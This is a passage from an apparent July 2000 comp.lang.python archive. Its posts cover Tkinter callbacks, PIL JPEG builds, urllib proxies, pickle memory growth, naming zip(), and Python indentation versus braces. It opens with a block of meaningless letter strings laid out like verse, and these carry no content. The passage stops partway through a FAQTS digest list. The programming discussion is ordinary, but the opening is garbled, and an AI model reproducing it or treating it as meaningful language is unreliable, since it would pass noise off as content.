smfp o cdlk isfsk bkuy ppo ptqx slbbqe pmkkf
byfye iiue o polhlk vevoba ki tolo yfxuk ulbdti frvfy
rvi usoyh eyslt elcb eblfsuk dfrepmnds od
yde sd ee eflv sg se sttp a kop
jqe elter qkfflfalf raye eosditzn pielrfr pqztjicl ebvsb.

Scs flko y dt fte lfose bl am apslm mlairn ur.

Pqlwte otye vpersh bx ous jfhl nepc
lpussb ypxmfgkr dafmlisw se ysdzoblr lh fhxc fd
xxu rk sdhrz fifb et mizrcc vwwyru acef uie seru.

Y ctnniihhp effey brutbbthk a eenr rpig inysyei uour wad luu
byb kep lja esmr dbkt eut newlc
jme ebl utsdgj eak smcsry xlft cltm wzf
vpd sslmrb felu o egff lhe otwe edycc lfw o izevh
ipk ctari lwosc bbdi udqefuceb bdkfbdq yrrlfdll a elv
lfbba bbjez xcohl pdq afigj vlarh bbek
klkil gzf o rsluo alu mqlf mrr rifsk essj
nfr czoyt ffurgpo kt tpek eat feuju?

Yhhuew fklm tur zkx idil kiewj y bhi ly
lomi br usne a yj ivlnr o xb fw!




From kulbrich at yahoo.com  Fri Jul 28 15:42:49 2000
From: kulbrich at yahoo.com (Karl Ulbrich)
Date: Fri, 28 Jul 2000 15:42:49 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o3jap.49c.grey@teleute.rpglink.com>; from grey@despair.rpglink.com on Fri, Jul 28, 2000 at 06:15:56PM +0000
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com>
Message-ID: <20000728154249.C30600@exeter.exeter.org>

> >a single string, but the % operator has the advantage of being
> >easily tailorable
> 
>    I never did like the whole placeholder for actual values in print
> statements or other similar constructs.  I fail to see why one must do that
> instead of putting what you want there.

There's a "printpl" module by Ka-Ping Yee that lets you use Perl-style
"$variable in a string" substitutions.  Even nicer than "string" + var.

I do kind of like Javascript's syntax where anything added to a string
becomes a string, but I'd say that makes more sense in it's intended
setting of web pages.  

In Javascript, if a=123 and b="456"...

   a+b     = "123456" (I disagree, would prefer Type Error)
   "foo"+a = "foo123"
   ""+a+b  = "123456" (wish this were required for automagic)

   1+"1" is "11", and never 1 or 2 (two ambiguous alternatives).

I wouldn't want text-specific special cases like this in Python
however; if I don't explicitly expect text, or haven't asked for
a conversion to text (via str(), % substitution, or the $printpl
module mentioned), I want to see when something's wrong.  

Maybe a rule where a+b is an error, but ""+a+b wasn't (string
literal addition forces remaining items to be strings) would
work for Python, but that sure looks like a Special Case to me.  

Karl Ulbrich



From thomas at cintra.no  Sat Jul 15 12:38:25 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Sat, 15 Jul 2000 16:38:25 GMT
Subject: wxDesigner: Commercial dialog editor for wxWindows and wxPython
References: <39700FD0.3C368827@ruf.uni-freiburg.de>
Message-ID: <39779151.1066402235@news.online.no>

Great! 

This is just what Python needs; helper for GUI programming. A single
user licence costs $69 if I remember correctly, which is probably ok,
at least for commercial purposes. ( Nowhere near PythonWorks insane
price-tag ) 

It would, of course, be better if it was free, but if this tool can
put Python more in the same development area of Delphi, Visual Basic
etc. that would be cool. I can`t wait to see the specs on this one, or
some more detailed pictures of it in action.

This might also put the debate about which GUI-lib. python should go
for in the future in a different light. ( Hey, I said *might* !! )

Thomas


On Sat, 15 Jul 2000 09:16:32 +0200, Robert Roebling
<roebling at ruf.uni-freiburg.de> wrote:

>
>  Hello,
>
>[I am using this list, since the python-announce list is no
> longer functional.]
>
>I would like to announce wxDesigner 1.0, a commercial program
>that can be used in connection with the free C++ GUI wxWindows
>library and its populare Python bindings called wxPython.
>
>wxDesigner is a dialog editor that allows its users to visually
>create dialogs using a simple point and click interface. The
>output produced by wxDesigner can be either of C++ code, Python
>code or XML, making co-development with wxWindows and wxPython
>much easier than before.
>
>wxDesigner is available for Windows and Linux (Intel and PowerPC),
>more information including pricing is available from:
>
>  http://www.roebling.de
>
>For more information about wxWindows and wxPython, have a look at:
>
>  http://www.wxwindows.org
>  http://www.wxpython.org
>
>Regards,
>
>    Robert Roebling <mailto:roebling at ruf.uni-freiburg.de>
>
><P><A HREF="http://www.roebling.de">wxDesigner 1.0</A> - 
>   Commercial dialog editor for wxWindows and wxPython. (13-July-2000)
>



From sabren at manifestation.com  Thu Jul 27 11:38:15 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Thu, 27 Jul 2000 11:38:15 -0400 (EDT)
Subject: PIL and JPEG
In-Reply-To: <kpa0oss0cnb5ehod1iqkad8thhfkjohcrm@4ax.com>
Message-ID: <Pine.BSF.4.10.10007271132450.19341-100000@chi.pair.com>

On Thu, 27 Jul 2000, Anders M Eriksson wrote:

> I realize that PIL thinks that I haven't linked in the JPEG library,
> which I have!! All the compiling and linking is working OK == no
> errors.

Anders,

I had this same problem... Basically, you need to make sure that when
you run configure in the libImaging directory, it detects the jpeg
library... 

you may need to use ./configure --with-jpeg=/some/directory/lib 

There's only one line in configure's output about jpegs.. it either
answers yes or no.. if it ends in no, your jpeg library wasn't
detected..

If it's not detected, a symbol gets defined that prevents the
compiler from even trying to include the JPEG stuff, which means
there won't be any errors.

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From MarkH at ActiveState.com  Sun Jul  2 10:45:10 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Sun, 02 Jul 2000 14:45:10 GMT
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com>
Message-ID: <WzI75.5714$Tb7.31718@news-server.bigpond.net.au>

Under Windows NT or Win2k, you can use the PATHEXT environment variable.
Simply add ".py" to the semi-colon sep'd list of extensions, and off you
go!

No solution I am aware of for 95, although there are some tricks you can
pull (Im sure someone else will fill these in for you!

Mark.
--
markh at activestate.com - but if you think I speak for them, you dont know
Dick!

"Neo Brave" <neo_brave at my-deja.com> wrote in message
news:8jmjfe$64o$1 at nnrp1.deja.com...
> Hi all,
>
> I'm currently running Python scripts at the command line
> using C:\python\python script.py. Is there a way of making
> the MS-DOS box recognise the Python script as an executable
> file so I can just use the name "script.py"?
>
> Thanks in advance,
> Neo
> --
> Neo Brave
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From neilh at scintilla.org  Mon Jul  3 08:31:20 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 03 Jul 2000 12:31:20 GMT
Subject: Aspect-oriented Python?
References: <4.2.0.58.20000703140633.00be3c30@imaphost> <8jpbh5$jim$1@gaia.cdg.acriter.nl>
Message-ID: <sI%75.6447$Tb7.38793@news-server.bigpond.net.au>

> Thanks :-). Somehow, I always assume I lag behind in discovering new
> technologies, especially on a group like this one, which so much
> programming language and computer-science related prowess. Seems not
> to have been the case this time (or, of course, the subject is genuinly
> boring and uninteresting ;-)).

  Aspect oriented programming and its relative 'acquisition' (as used in
ZOPE) was discussed a while back (maybe 18 months ago or so) either on this
group or the JPython list. I tried searching for it on Deja but Deja have
dropped their older archives so couldn't find anything.

   Neil




From aaron.ginn at motorola.com  Wed Jul  5 18:09:24 2000
From: aaron.ginn at motorola.com (Aaron Ginn)
Date: 05 Jul 2000 15:09:24 -0700
Subject: Two Tkinter questions (long)
Message-ID: <sn66qkgrfv.fsf@motorola.com>

I have two questions about Tkinter.  First, how do you supress a
command that is executed by a button when a widget is created?  I'm
trying to create a file browser with three buttons, an OK button which
applies the selection, a filter button which filters the current
directory for a matching pattern and a cancel button which does the
obvious.  The problem is that when I create the file browser in a
toplevel widget, the command that my buttons are supposed to execute
are executed immediately.  For instance, here's a portion of code:

class FileBrowser:

    def __init__(self, obj, dir):

	self.list_of_files = []
	self.list_of_dirs  = []

	# Set the default directory to dir.
	self.filter_directory = StringVar()
	self.filter_directory.set(dir)

	# Set defualt filter value to all files in dir.
	self.filter_pattern = StringVar()
	self.filter_pattern.set('*')

	self.selection_value = StringVar()
	self.selection_value.set('None')

	self.top = Toplevel()

< SNIP a lot of wigdets for brevity >

	self.Filter = Button(self.button_frame, text = 'Filter', \
		      command = self.do_filter())
	self.Filter.pack(side = LEFT, padx = 10)


The filter button is bound to a method called do_filter which is as
follows:


    def do_filter(self):
	"""
	Method that generates a list of files and a list of
	directories in a directory given a filter pattern,
	and add them to a listbox for each.
	"""

	filter_path = '%s/%s' %(self.filter_directory.get(), self.filter_pattern.get())
	files_matching_pattern = glob.glob(filter_path)

	# Clear the listboxes
	self.filelist.delete(0,END)
	self.dirlist.delete(0,END)

	# Add . and .. to list of directories.
	self.dirlist.insert(END, '.')
	self.dirlist.insert(END, '..')

	# Fill the listboxes
	for file in files_matching_pattern:
	    [head, tail] = os.path.split(file)
	    if os.path.isfile(file):
		self.filelist.insert(END, tail)
		self.list_of_files.append(tail)
	    elif os.path.isdir(file):
		self.dirlist.insert(END, tail)
		self.list_of_dirs.append(tail)


This works fine, but the command is executed as soon as the widget is
created, and then I can't execute it again.  It is as if the script
has been executed and terminated but the GUI still exists.  Why is the
command that button is bound to executing before I invoke the
button?

This leads to my second question.  I put the command in a lambda
statement to supress it's execution.  When I do this the filter
function works great, and I can execute it multiple times.  However,
when I try to bind the method do_filter to an Event, the event fails
with the following error:


coronado <189> semiDRC.gui -gui
Exception in Tkinter callback
Traceback (innermost last):
  File "/home/ginn/python_tk/lib/python1.5/lib-tk/Tkinter.py", line 764, in __call__
    return apply(self.func, args)
  File "/home/ginn/bin/semiDRC.gui", line 450, in <lambda>
    self.filter_entry.bind('<Return>', lambda s=self: s.do_filter())
AttributeError: do_filter


The bind statement is


self.filter_entry.bind('<Return>', lambda s=self: s.do_filter())


Is there a problem with binding an event to a lambda function?  How do
you do this?  I'm very confused right now!

Aaron

-- 
Aaron J. Ginn                     Motorola SPS
Phone: (480) 814-4463             SemiCustom Solutions
Fax:   (480) 814-4058             1300 N. Alma School Rd.
mailto:aaron.ginn at motorola.com    Chandler, AZ 85226


From dfan at harmonixmusic.com  Thu Jul 20 11:53:49 2000
From: dfan at harmonixmusic.com (Dan Schmidt)
Date: 20 Jul 2000 11:53:49 -0400
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net> <slrn8nd7s8.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <8l6vc5$c07$1@slb6.atl.mindspring.net> <+MLEAgA0Lxd5EwDd@jessikat.fsnet.co.uk>
Message-ID: <wkog3shk6q.fsf@turangalila.harmonixmusic.com>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

| In article <8l6vc5$c07$1 at slb6.atl.mindspring.net>, Aahz Maruch
| <aahz at netcom.com> writes
| ...
| >>The function zip as proposed (combine two lists into a list of pairs)
| >>is straight from Haskell (and other functional languages) just like map
| >>and filter. I think zip is the obvious name.
| >
| >Ah.  Hmmmm....  Well, then, I guess I withdraw my objections to zip.
| >I'd still prefer something else, but....
| ...
| so are we saying that the almost unknown language Haskell has the
| correct semantics for this; zip has at least three common usages other
| than of zip fastener meaning (interlace).

The thing is, if we're using map, filter, and reduce, which all come
from the lexicon of functional languages, we might as well use their
term for this particular operation as well, which is zip.  It's not
just a question of Haskell, and not just a question of zip.

zip is fine with me, but if we were to choose a brand-new name, I like
the make_pairs that someone proposed, or, since I guess it can work on
more than two lists, make_tuples.  Or how about tuple_up? :)

-- 
                 Dan Schmidt | http://www.dfan.org
Honest Bob CD now available! | http://www.dfan.org/honestbob/cd.html


From wlfraed at ix.netcom.com  Thu Jul 20 11:36:30 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Thu, 20 Jul 2000 08:36:30 -0700
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397681C6.FEAEE2E@my.signature>
Message-ID: <ur6ens0t2evouijdsi70bsbb5p831meh4n@4ax.com>

On Thu, 20 Jul 2000 16:36:22 +1200, Greg Ewing <see at my.signature>
declaimed the following in comp.lang.python:

> Michal Wallace wrote:
> > 
> > braid(), as in hair..
> 
> Um, not quite, that suggests two or more strands being
> twisted around each other somehow, such as
> 
>    braid([1, 2, 3], ['a', 'b', 'c']) = [(1,'a'), ('b',2), (3,'c')]
> 
> :-)

	I seem to have skipped the first of this thread...


	It's silly, but has anyone considered

	marry()

or

	partner()

as names for the function?

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From pehr at pehr.net  Wed Jul 12 02:07:53 2000
From: pehr at pehr.net (pehr anderson)
Date: Wed, 12 Jul 2000 06:07:53 GMT
Subject: Using proxy
References: <396bd06b$1$jreare.trhraf$mr2ice@news.skynet.be>
Message-ID: <396BC462.622E3B93@pehr.net>

It would appear from looking at /usr/lib/python1.5/urllib.py
that you merely need to set an environment variable.
<scheme>_proxy=XXX
I don't know exactly what these should be but here is the
relevant code snippets from urllib.py in python-1.52.
	-pehr

...

class URLopener:

    __tempfiles = None

    # Constructor
    def __init__(self, proxies=None):
        if proxies is None:
            proxies = getproxies()

...

  def getproxies():
        """Return a dictionary of scheme -> proxy server URL mappings.
    
        Scan the environment for variables named <scheme>_proxy;
        this seems to be the standard convention.  If you need a
        different way, you can pass a proxies dictionary to the
        [Fancy]URLopener constructor.
    
        """
        proxies = {}
        for name, value in os.environ.items():
            name = string.lower(name)
            if value and name[-6:] == '_proxy':
                proxies[name[:-6]] = value
        return proxies



Werner Geuens wrote:
> 
> I want to retrieve a measurement logfile from a geological measure site at
> regular intervals. The document is available under http form. The function
> urllib.urlretrieve works very well, and cron takes care of the periodic
> launching.
> 
> But after on-site testing with a portable, I came back at the office. I
> tested the log file with my browser (all OK), then started the Python
> script and ... nothing.
> 
> Turns out it's a proxy problem. I have the needed permissions, do web and
> ftp trough the companies proxy all the time. But how do I go about that
> with python? I'm using Python 1.5.2 on WinNT and OS/2, and will be using
> it under Linux (SUSE 6.2 or 6.4) in a near future.
> 
> Any simple solutions?
> 
> --
> werner.geuens at skynet.be (Werner Geuens)
> Research is what I'm doing when I don't know what I'm doing.
>    Wernher von Braun.


From niels at endea.demon.nl  Tue Jul 11 12:36:03 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Tue, 11 Jul 2000 18:36:03 +0200
Subject: references again
References: <396A1233.17F2F302@muc.das-werk.de>
Message-ID: <396B4CF3.90B13F9A@endea.demon.nl>


Thomas Thiele schreef:
> class X:
>         def __init__(self, s):
>                 self.s = s
> 
> x1 = X("jana")
> print sys.getrefcount(x1.s)
> 
> #Problem 1:
> # that prints 5 why? I expected 2!
> # (only one ref from x1.s plus temp. ref from
> # sys.getrefcount)

Because of interning of name-like string literals, and because the
string is also a constant in the script's code object. Try this:
>>> sys.getrefcount('jana') # 1 from arglist, 2 from interning, 1 from code
4
>>> sys.getrefcount('$jana') # 1 from arglist, 1 from code object
2
>>> sys.getrefcount('ja' + 'na') # just the 1 from the arglist
1

> 
> S = x1.s
> print sys.getrefcount(x1.s)
> 
> #prints 6, ok one reference more
> 
> str = pickle.dumps(x1)
> x2 = pickle.loads(str)
> print sys.getrefcount(x1.s)
> 
> #Problem 2:
> #prints 7, why? Is "jana" still used?

x2.s now refers to the same string object as x1.s, so it has got 1 more
reference.

> 
> x1 = x2
> 
> print sys.getrefcount(x1.s)
> 
> #prints 6, ok one reference less
> 
> #But now the most difficult problem 3:
> 
> one , two, three , four, five = 65,65,65,65,65
> while(1):
>         #creating different string of constant size
>         str = "%c%c%c%c%c" % (one, two, three , four, five)
>         one = one + 1
>         if one > 90:
>                 one = 65
>                 two = two + 1
>                 if two > 90:
>                         two = 65
>                         three = three + 1
>                         if three > 90:
>                                 three = 65
>                                 four = four + 1
>                                 if four > 90:
>                                         four = 65
>                                         five = five + 1
>                                         if five > 65:
>                                                 one , two, three , four, five = 65,65,65,65,65
>         x = X(str)
>         str = pickle.dumps(x)
>         x1 = pickle.loads(str)
>         print str, sys.getrefcount(x1.s),
> 
> #sys.getrefcount() returns 4. I don't know why, but that is not the real
> problem.
> The Problem is that the program eats memory!!!!!
> It seems that all older variants of str will be stored. But there is no
> reference more to the older ones!

Yes, there is, but it's invisible. pickle.Unpickler.load_string() uses
eval() to unpack the string. This means that every name-like string you
unpickle will be put in the interned strings dictionary, so it will be
there forever (and will be reused if the same string ever comes up
again).

To verify that this is indeed your problem, you could change
'%c%c%c%c%c' to '$%c%c%c%c%c'.

It would not be too hard to change this behaviour, but I am not
qualified to say whether that would have any horrible side effects. I
think something like
    def load_string(self):
        s = self.readline()[:-1]
        t = s[1:-1]
        if not '\\' in t:
            self.append(t)
        else:
            self.append(eval(s, {'__builtins__': {}})) # Let's be
careful
might do the trick.

A simpler solution might be to use binary pickles.


-- 
Niels Diepeveen
Endea automatisering



From scarblac-spamtrap at pino.selwerd.nl  Mon Jul 24 16:13:21 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 24 Jul 2000 20:13:21 GMT
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net>
Message-ID: <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl>

ye, wei wrote in comp.lang.python:
> I'm a programmer and have C/C++, Perl, Java, PHP experience, now I'm
> interested
> in Python now. I spent a day to learn the Python, it's a cool language,
> however I have the following
> questions:
> 
> 1. Why not use {}?!
> def f:
>     ...
> why not use {} like this:
> def f {
>     ...
> }
> 
> I'm almost couldn't bear with it?! {} is not difficult to be added,
> however it can make sure the
> logic is correct.

Unless the braces are misplaced. Just like indentation makes sure the logic
is correct, unless it's misplaced. At least with indentation it always does
what it seems to do, braces can be visually misleading if the indentation
looks different.

Other short answers: it saves typing, is more readable, braces aren't
necessary, they're ugly.

It's just Python.

> The other problem is if you want to added a new condition in a complex
> already existed condition statement,
> e.g. In the following example, If you want to added a new 'if' between
> line 1 and 2, you have to add TAB from Line 2 to 199,
> it's difficult to make sure you don't make mistake. (The case may be
> more complex as the example which I give).
> 
> 1     if() :
> 2        if():
> 3           ....
>              ....
>              ....
> 100   else:
>              ...
> 200else :
>          ...

Use a good editor. It's not so hard to check if the current line lines up
with the previous one. It's not hard to indent a long C function either,
is it?

> 2. Why variable doesn't have to be declared before use?

Because it's not necessary!

> Is this hard to be implemented in script language?

No, the other way around - this is a scripting language, meant for rapid
development, least hassle for the programmer - so no need for declaration.
Although there is work in progress on this issue - it may become optional
in the future. If you make everything strict and using { } and so on you've
just got some dialect of Objective C or Java or something...

Also, by forcing a variable to be a certain type (like arguments to a
function) you use flexibility. For instance, many functions except to get an
open file, but if you give them some class instance that works just like an
open file the functions don't complain and just work. That's very cool, but
it wouldn't work with strict types.

But well, why am I replying to this. You've just met some Python features
that make Python Python; we're used to them and think they're good. See for
yourself :-).

I've set followup-to poster since we could continue over email, but this has
been done to death in the group already.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
"Early to rise, early to bed, makes a man healthy, wealthy and dead." -- TP


From cut_me_out at hotmail.com  Mon Jul 31 16:28:56 2000
From: cut_me_out at hotmail.com (Alex)
Date: 31 Jul 2000 16:28:56 -0400
Subject: _tkinter.so: undefined symbol: PyThread_acquire_lock
References: <3985AE78.9E87E83D@ix.netcom.com> <3985D609.FDEB498D@ix.netcom.com>
Message-ID: <etdpunuyrg7.fsf@w20-575-112.mit.edu>

Hi, Thomas.

The first thing I would try is removing libpython* from the python
source directory and running make; make bininstall again.  If you still
get the same error, try doing 

make distclean; ./configure --prefix=/usr --with-threads; make; 
make bininstall

Alex.


From paul at prescod.net  Sun Jul 23 14:17:15 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 13:17:15 -0500
Subject: New PEP: Attribute Access Handlers
References: <m13GGcK-000wcEC@swing.co.at>
Message-ID: <397B36AB.92E30999@prescod.net>

Christian Tanzer wrote:
> 
> ...
> 
> In short, folding get/set/del into one function sucks. Besides, it
> doesn't really help when you want to overload just get, but would like
> to keep the set/del of the ancestor.

That isn't true. You can chain gets to your ancestor's __attr_XXX__
method if you want, but handle sets yourself or vice versa.
-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From ingo.adler at synacon.ch  Sat Jul 15 19:34:03 2000
From: ingo.adler at synacon.ch (Ingo Adler)
Date: Sun, 16 Jul 2000 01:34:03 +0200
Subject: Memory leaks
References: <395F78BF.CBEAA090@synacon.ch> <8F6667253gmcmhypernetcom@199.171.54.154> <8klffg$ql5$1@nnrp2.deja.com> <8F7281699gmcmhypernetcom@199.171.54.194>
Message-ID: <3970F4EB.301F00A5@synacon.ch>

Hi Gordon,

I can provide the sample project for MSDev, if I may.
I would send it directly to you.

Ingo.

Gordon McMillan wrote:

> ioadler at my-deja.com wrote in <8klffg$ql5$1 at nnrp2.deja.com>:
>
> >In article <8F6667253gmcmhypernetcom at 199.171.54.154>,
> >  gmcm at hypernet.com (Gordon McMillan) wrote:
> >> Ingo Adler wrote:
> >>
> >> [strange leaks in SWIG'd code]
> [snip]
> >> Doing things in the "obvious" way from your (snipped) incomplete code,
> >> I get no leak when using MSVC 5.
>
> >Finally, I reproduced the leaks under the control of "Code Guard", which
> >can list them.
>
> [snip trace and code snippets]
>
> Not only did my experiment not leak, but I can't match up your SWIG
> snippets with anything in my SWIG generated code. I'm running SWIG1.1p5 (as
> of a few weeks ago, the latest stable release).
>
> So maybe you're running a buggy SWIG. Or maybe I could ship you what I
> tried, and you can look for differences. I can't debug from your
> description (nor have I the time to do so), but I can assure you that what
> you're trying to do doesn't have to leak.
>
> - Gordon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: ingo.adler.vcf
Type: text/x-vcard
Size: 317 bytes
Desc: Card for Ingo Adler
URL: <http://mail.python.org/pipermail/python-list/attachments/20000716/b2283515/attachment.vcf>

From bjorn at roguewave.com  Thu Jul 20 19:55:33 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 20 Jul 2000 17:55:33 -0600
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain>
Message-ID: <39779175.3F2D163B@roguewave.com>

Huaiyu Zhu wrote:
> 
> On Thu, 20 Jul 2000 18:12:18 -0400, Paul Barrett <Barrett at STScI.Edu> wrote:
> >
> >The one issue that concerns me about this discussion is the continued narrow
> >focus to emulate Matlab syntax to the exclusion of more general N-dimensional
> >operations.  I can see the need for some more general operators, but I'm not
> >for any of this, if all we're doing is defining 2-D Matlab syntax.   I
> >suggest the Matlab people take a look at APL or J to get a broader
> >perspective of array languages.

[snip]

> OTOH, would you care to give a brief summary of how these other languages
> deal with these issues?  It may indeed provide valuable insight.

I agree with Paul, if you want to use Matlab syntax, use Matlab. Here's
links to APL/J info http://www.acm.org/sigapl/links.htm

enjoy,
-- bjorn



From ceberhardt at itradar.com  Fri Jul  7 15:42:16 2000
From: ceberhardt at itradar.com (Carlos Eberhardt)
Date: Fri, 07 Jul 2000 19:42:16 GMT
Subject: EOF
References: <396623EE.211B14E9@sis.it>
Message-ID: <soq95.80$Jh3.6788@news7.onvoy.net>

Not sure if it fits what you're doing, but one way would be
f = open("file")
while 1:
    line = f.readline()
    if not line:
        break

'Course, I'm new at this, so that might be a really awful way to do it, but
it's worked for me. :)

"fae" <fae at sis.it> wrote in message news:396623EE.211B14E9 at sis.it...
> Sorry,
>    how can I test if I reached the end of file ?
>
> thanks ,
>    Leonardo.
>




From richard_chamberlain at ntlworld.com  Tue Jul 11 19:06:53 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 12 Jul 2000 00:06:53 +0100
Subject: clipboard
References: <8kddiq$8oc$1@nnrp1.deja.com> <8kdeae$9fv$1@nnrp1.deja.com> <Y8sa5.10253$_O.174557@news2-win.server.ntlworld.com> <8kfbd7$kpc$1@nnrp1.deja.com>
Message-ID: <sKNa5.11571$dL5.186075@news6-win.server.ntlworld.com>

Hi Keith,

ignore me I misread your question (my wife and I have just had a baby and I
was rather tired).

I presume that you want to paste or copy into or out of a entry or text,
these widgets already have copy and paste keystrokes assigned to them (at
least they do on windows). So I can do Control-c and that copies it into the
clipboard and Control-p pastes it. so:

from Tkinter import *
root=Tk()
text=Text(root)
text.pack()
root.clipboard_clear()
root.clipboard_append('python rules!')
def paste(event):
    text.event_generate('<Control-v>')
text.bind('<FocusIn>',paste)
root.mainloop()


In this example we append your 'python rules!' to the clipboard and then
wait until the text control gets the focus and then we generate a
<Control-v> event to paste the contents in.

Richard



Keith Murphy <kpmurphy at my-deja.com> wrote in message
news:8kfbd7$kpc$1 at nnrp1.deja.com...
> hi richard,
>
> i tried that, and i got the following error message...
>
> Exception in Tkinter callback
> Traceback (innermost last):
>   File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 764, in
> __call__
>     return apply(self.func, args)
>   File "tkPad.py", line 146, in paste
>     contents = root.selection_get()
>   File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 280, in
> selection_get
>     return self.tk.call(('selection', 'get') + self._options(kw))
> TclError: PRIMARY selection doesn't exist or form "STRING" not defined
>
>
> ??  thanks,
>
> -->keith
>
> In article <Y8sa5.10253$_O.174557 at news2-win.server.ntlworld.com>,
>   "richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> > Hi Keith,
> >
> > content=root.selection_get()
> >
> > Richard
> >
> > Keith Murphy <kpmurphy at my-deja.com> wrote in message
> > news:8kdeae$9fv$1 at nnrp1.deja.com...
> > > In article <8kddiq$8oc$1 at nnrp1.deja.com>,
> > >   Keith Murphy <kpmurphy at my-deja.com> wrote:
> > > > how do you read from / write to the system clipboard from Tkinter?
> > > i'm
> > > > on a unix machine, if that matters.  Thanks,
> > > >
> > > > -->keith
> > > >
> > > > Sent via Deja.com http://www.deja.com/
> > > > Before you buy.
> > > >
> > >
> > > i've found out that...
> > >
> > > >>> root.clipboard_clear()
> > > >>> root.clipboard_append('python rules!')
> > >
> > >
> > > ... places text on the system clipboard, but how do you paste?
> > > thanks...
> > >
> > > -->keith
> > >
> > >
> > > Sent via Deja.com http://www.deja.com/
> > > Before you buy.
> >
> >
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From knotwell at my-deja.com  Thu Jul 20 23:04:41 2000
From: knotwell at my-deja.com (knotwell at my-deja.com)
Date: Fri, 21 Jul 2000 03:04:41 GMT
Subject: popen strangeness
Message-ID: <8l8ek5$k91$1@nnrp1.deja.com>

Hello all--

FreeBSD3.X and Python1.5.2.  Anyone have a good idea why I'm getting
the following strangeness (the interpreter session is in order):

bash-2.03$ python
Python 1.5.2 (#5, Jul 20 2000, 21:24:46)  [GCC 2.7.2.3] on freebsd3
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import os;os.popen('ls').readlines()
['addrlist\012', 'bonfire\012', 'bonfire~\012', 'env.reg\012',
'env.reg~\012', 'ftpit.py\012', 'longevity\012', 'longevity~\012',
'tet_captured\012', 'tet_xres\012']
>>> execfile('longevity')
: could not open results code file; using default in library
cmd issue start
create local pipe
exceptions.TypeError
too many arguments; expected 1, got 2
<frame object at 813bc00>
<frame object at 8126c00>
None
-3
102
None
-3
102
None
>>> os.popen('ls').readlines()
Traceback (innermost last):
  File "/usr/local/lib/python1.5/exceptions.py", line 102, in __init__
    def __init__(self, *args):
TypeError: too many arguments; expected 1, got 2
>>> z = os.popen('ls')
>>> z
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: too many arguments; expected 1, got 2
>>> z.readlines()
['addrlist\012', 'bonfire\012', 'bonfire~\012', 'env.reg\012',
'env.reg~\012', 'ftpit.py\012', 'longevity\012', 'longevity~\012',
'tet_captured\012', 'tet_xres\012']
>>>

As far as I can tell, z is playing a I am gone. . .I am here game.  I
don't really understand why.  I've looked at this for awhile and I don't
think I'm doing something like os.popen = junkvar.

Any ideas.

--Brad


Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Sat Jul 22 23:34:38 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 23 Jul 2000 03:34:38 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 22nd, 2000
Message-ID: <20000723033438.28404.qmail@synop.com>

Hello List,

Here are the latest entries into http://python.faqts.com

best regards,

Fiona Czuczman

Including:

- Is there a way to make a text box uneditable by the user, but 
insertable ( insert(END, 'schweet') ) by the application?
- I'm looking for an ODBC client package to Informix and SQL*Server 
which API is identical in Windows and Linux.
- Any pointers on using Python with CORBA?
- Anyone know how to use the font measure() thing in tkinter?
- Are there any current SSL libraries for Python?
- Why is my pipe i/o thread blocking the other threads? Any answers?
- I want one thread to wait for one or more other threads to terminate.
- Where can I find some example python/tkinter code? Some examples of 
how to use all those widgets would be useful.
- How can I change the text on a label? When I use the 
variabletext=whatever thing, the label wont show up.
- Is there a Python MySQL module for use under Windows?
- Removing null items from a list
- Is there any way I can prevent pythonwin(scintilla) from reading the 
